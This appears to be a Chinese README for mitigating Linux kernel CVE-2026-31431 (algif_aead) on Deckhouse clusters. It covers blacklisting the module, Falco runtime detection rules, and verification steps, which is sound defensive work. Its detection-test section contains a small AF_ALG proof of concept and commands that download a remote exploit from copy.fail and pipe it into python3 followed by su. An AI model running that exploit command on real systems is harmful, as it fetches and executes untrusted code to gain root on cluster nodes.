
Language: 中文 | Русский
CVE-2026-31431 是 Linux 内核 algif_aead 模块中的一个漏洞,该模块通过 AF_ALG 套接字家族将内核加密 API 暴露给用户空间。AEAD(带关联数据的认证加密)接口存在缺陷,允许本地非特权用户通过提交精心构造的 scatter-gather 列表触发内核内存损坏,从而导致本地权限提升或拒绝服务。
该漏洞的攻击面可从任何进程(包括非特权容器)触及,前提是允许其调用 socket(AF_ALG, SOCK_SEQPACKET, 0) 并绑定到 aead 类型的算法。容器运行时若未删除默认 seccomp 配置或未限制 socket 系统调用家族,则会将集群节点暴露于该攻击。
在通过操作系统包更新部署上游内核补丁之前,推荐的缓解措施是在每个集群节点上禁用 algif_aead 内核模块,并在运行时检测利用尝试。
本仓库包含在 Deckhouse 管理的集群上缓解 CVE-2026-31431 所需的所有内容:
| 文件 | 用途 |
|---|---|
ngc-cve-2026-31431.yaml — 节点端缓解措施NodeGroupConfiguration 通过 bashible 在每个节点上运行,并执行四个步骤:
AF_ALG 套接字并绑定到 aead/gcm(aes),以确定节点上是否存在易受攻击的接口。/etc/modprobe.d/disable-algif.conf,包含 install 指令,防止 algif_aead(以及其上层模块 af_alg)再次被加载(无论是手动加载还是作为依赖加载)。rmmod algif_aead。如果模块已编译进内核,则跳过此步骤(此时仅应用黑名单 + 运行时检测)。幂等性:在已缓解的节点上重新运行配置不会产生任何效果。
far-cve-2026-31431.yaml — 运行时检测FalcoAuditRules 资源添加了一个自定义 Falco 规则,当某个进程打开一个 AF_ALG 套接字并将其绑定到 aead 算法时(这是该攻击特有的系统调用模式),将触发一个 Critical 事件。此外,当某个进程尝试通过 modprobe/insmod 加载 algif_aead 模块时,会发出一个 Warning 事件,在已缓解的节点上,这不应成功,并且是攻击尝试或操作员配置错误的强烈信号。
版本说明:
FalcoAuditRules由runtime-audit-engine模块协调,该模块仅随 Deckhouse 企业版 (EE) 和 认证安全版 (CSE) 提供。在社区版中,该资源不会被处理;本仓库中的NodeGroupConfiguration仍然适用,并且是主要的缓解措施。
kubectl apply -f ngc-cve-2026-31431.yaml
# 仅 EE / CSE:
kubectl apply -f far-cve-2026-31431.yaml
通过观察每个 NodeGroup 的状态,等待配置在所有节点上应用。Bashible 会将每个步骤的成功状态报告回 NodeGroup,Deckhouse 将其聚合到两个可轮询的字段中:
.status.upToDate — 最新 bashible 运行成功且配置正确的节点数。当每个组的 upToDate == nodes 时,即表示收敛。.status.conditionSummary.ready — 组健康时为 "True";如果任何节点的 bashible 步骤失败,则变为 "False" 并附带人类可读的原因,该原因位于 .status.conditionSummary.statusMessage 中(这正是 NodeGroupConfiguration 中验证步骤在无法应用修复的节点上所做的)。所有组的单次查看:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
一个可脚本化的检查,仅当所有组均为收敛时退出 0:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"
如果某个 NodeGroup 卡在 conditionSummary.ready == "False",请读取 .status.conditionSummary.statusMessage — 它会显示失败的 bashible 步骤,包括来自此缓解方案的验证步骤。
一旦包含官方修复的上游内核包安装到每个节点上,请删除两个资源:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
删除 NodeGroupConfiguration 不会自动删除 /etc/modprobe.d/disable-algif.conf — 如果您希望模块可再次加载,请手动清理该文件;如果集群中没有工作负载使用内核加密 API,则可以保留黑名单。
集群范围:
kubectl get nodegroups
UPTODATE 应等于 NODES,并且每个组的状态消息列应为空。
在节点上(SSH 或 kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
预期结果:
cat 显示四行 install / blacklist 行。lsmod 输出为空。modprobe -n -v 打印 install /bin/false。modprobe 返回 exit=1。使用此小节验证针对 CVE-2026-31431 的自定义 FalcoAuditRules 是否确实在每次 PoC 运行时触发。
两种场景的共同预检查:
runtime-audit-engine 在所有节点上健康:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
预期:DESIRED == READY == AVAILABLE。
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# 重要:使用 -i 以便 Python 接收 stdin 脚本
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
清理:
kubectl delete pod cve-31431-test --ignore-not-found
安全警告: 始终在执行前审查任何下载的脚本。请勿在生产环境中盲目运行远程脚本。
推荐(先审查,再运行):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
等效单行命令(仅限审查/批准后):
curl https://copy.fail/exp | python3 && su
检查检测结果:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
ngc-cve-2026-31431.yamlNodeGroupConfiguration 配置,用于探测易受攻击的接口、阻止加载 algif_aead、卸载当前已加载的模块,并验证修复是否生效。适用于所有 bundle 和节点组。 |
far-cve-2026-31431.yaml | FalcoAuditRules 配置,用于检测运行时通过绑定到 AEAD 算法的 AF_ALG 套接字进行的漏洞利用尝试。仅在 Deckhouse 企业版 (EE) 和认证安全版 (CSE) 中可用,因为 runtime-audit-engine 模块仅在这些版本中附带。 |